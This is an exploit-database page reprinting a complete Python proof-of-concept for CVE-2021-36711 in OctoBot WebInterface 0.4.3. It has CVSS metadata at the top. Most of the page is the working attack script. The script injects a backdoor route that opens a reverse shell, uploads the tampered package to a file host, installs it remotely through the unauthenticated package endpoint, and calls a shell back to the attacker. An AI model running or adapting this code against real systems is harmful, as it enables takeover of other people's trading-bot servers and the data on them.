OctoBot WebInterface 0.4.3 Remote Code Execution
CVE
Category
Price
Severity
CVE-2021-36711
CWE-284
Not specified
High
Author
Risk
Exploitation Type
Date
Not specified
High
Remote
2022-07-23
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope S An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022070062 Below is a copy:
OctoBot WebInterface 0.4.3 Remote Code Execution # Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
# Date: 9/2/2021
# Exploit Author: Samy Younsi, Thomas Knudsen
# Vendor Homepage: https://www.octobot.online/
# Software Link: https://github.com/Drakkar-Software/OctoBot
# Version: 0.4.0beta3 - 0.4.3
# Tested on: Linux (Ubuntu, CentOs)
# CVE : CVE-2021-36711
from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import zipfile
import time
import sys
import os
def banner():
sashimiLogo = """
_________ . .
(.. \_ , |\ /|
\ O \ /| \ \/ /
\______ \/ | \ /
vvvv\ \ | / |
_ _ _ _ \^^^^ == \_/ |
| | __ _ | || |__ (_)_ __ ___ (_)`\_ === \. |
/ __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ / |
\__ | (_| \__ | | | | | | | | | | ||/ \_ \| /
( /\__,_( |_| |_|_|_| |_| |_|_| \________/
|_| |_| \033[1;91mOctoBot Killer\033[1;m
Author: \033[1;92mNaqwada\033[1;m
RuptureFarm 1029
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(sashimiLogo))
def help():
print('[!] \033[1;93mUsage: \033[1;m')
print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0]))
print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')
def getOctobotVersion(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}/api/version'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/api/version'.format(RHOST, RPORT)
return curl(url)
def restartOctobot(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT)
try:
requests.get(url, allow_redirects=False, verify=False, timeout=1)
except requests.exceptions.ConnectionError as e:
print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m')
time.sleep(30)
def downloadTentaclePackage(octobotVersion):
print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion))
url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion)
result = requests.get(url, stream=True)
with open('{}.zip'.format(octobotVersion), 'wb') as fd:
for chunk in result.iter_content(chunk_size=128):
fd.write(chunk)
print('[+] \033[1;92mDownload completed!\033[1;m')
def unzipTentaclePackage(octobotVersion):
zip = zipfile.ZipFile('{}.zip'.format(octobotVersion))
zip.extractall('quests')
os.remove('{}.zip'.format(octobotVersion))
print('[+] \033[1;92mTentacle package has been extracted.\033[1;m')
def craftBackdoor(octobotVersion):
print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion))
path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/'
injectInitFile(path)
injectMetadataFile(path)
print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion))
def injectMetadataFile(path):
with open('{}metadata.py'.format(path),'r') as metadataFile:
content = metadataFile.read()
addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty'))
addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\[email protected] ("/announcements")'))
with open('{}metadata.py'.format(path),'w') as newMetadataFile:
newMetadataFile.write(addPayload)
def injectInitFile(path):
with open('{}__init__.py'.format(path),'r') as initFile:
content = initFile.read()
addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,'))
addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",'))
with open('{}__init__.py'.format(path),'w') as newInitFile:
newInitFile.write(addPayload)
def rePackTentaclePackage():
print('[+] \033[1;92mRepacking Tentacle package.\033[1;m')
with zipfile.ZipFile('any_platform.zip', mode='w') as zipf:
len_dir_path = len('quests')
for root, _, files in os.walk('quests'):
for file in files:
file_path = os.path.join(root, file)
zipf.write(file_path, file_path[len_dir_path:])
def uploadMaliciousTentacle():
print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m')
file = {
'file': open('any_platform.zip', 'rb'),
}
response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60)
zipLink = response.json()['data']['file']['url']['full']
response = requests.get(zipLink, timeout=60)
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
zipLink = soup.find(id='download-url').get('href')
print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink))
return zipLink
def curl(url):
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
return response
def injectBackdoor(RHOST, RPORT, zipLink):
print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m')
if RPORT == 443:
url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
else:
url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT)
headers = {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
}
data = '{"'+zipLink+'":"register_and_install"}'
response = requests.post(url, headers=headers, data=data)
response = response.content.decode('utf-8').replace('"', '').strip()
os.remove('any_platform.zip')
if response != 'Tentacles installed':
print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m')
exit()
print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m')
def execReverseShell(RHOST, RPORT, LHOST, LPORT):
print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT))
if RPORT == 443:
url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
else:
url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT)
return curl(url)
def isPassword(RHOST, RPORT):
if RPORT == 443:
url = 'https://{}:{}'.format(RHOST, RPORT)
else:
url = 'http://{}:{}'.format(RHOST, RPORT)
return curl(url)
def main():
banner()
args = parser.parse_args()
if isPassword(args.RHOST, args.RPORT).status_code != 200:
print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m')
octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','')
if len(octobotVersion) > 0:
print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion))
downloadTentaclePackage(octobotVersion)
unzipTentaclePackage(octobotVersion)
craftBackdoor(octobotVersion)
rePackTentaclePackage()
zipLink = uploadMaliciousTentacle()
injectBackdoor(args.RHOST, args.RPORT, zipLink)
restartOctobot(args.RHOST, args.RPORT)
execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False)
parser.add_argument('-h', '--help', help=help())
parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True)
parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True)
parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True)
parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True)
main()
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